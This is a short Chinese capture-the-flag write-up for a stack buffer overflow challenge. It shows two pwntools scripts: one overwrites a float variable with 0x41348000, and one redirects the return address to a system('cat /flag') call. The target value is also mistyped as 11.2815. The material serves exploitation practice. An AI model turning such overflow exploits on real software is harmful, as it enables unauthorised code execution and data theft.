checksec查看保护机制
发现开启了栈不可执行和部分地址随机化
使用ida静态分析
发现func函数,点进去查看函数具体代码
看到了逻辑,v2的值0.0
我们可以输入v1的值,当v2的值是11.28125的时候,查看文件内容
所以第一种思路就是
通过v1的值覆盖到v2的地址,将小数转成十六机制,发送使v2的值就等于11.2815
v1离rbp的距离是0x30
v2离rbp的距离是0x4
所以v1离v2的距离是0x30-0x4,并且11.2815的十六进制是0x41348000
第一个exp是
from pwn import * #io = remote("1.14.71.254",28963) io = process("./one") payload = cyclic(0x30-0x4) + p64(0x41348000) io.sendline(payload) io.interactive()
还有个思路就是我们覆盖返回地址为system("cat /flag")的地址
地址是
0x0000000004006BE
所以第二个exp是
from pwn import * #io = remote("1.14.71.254",28963) io = process("./one") payload = cyclic(0x30+0x8) + p64(0x4006BE) io.sendline(payload) io.interactive()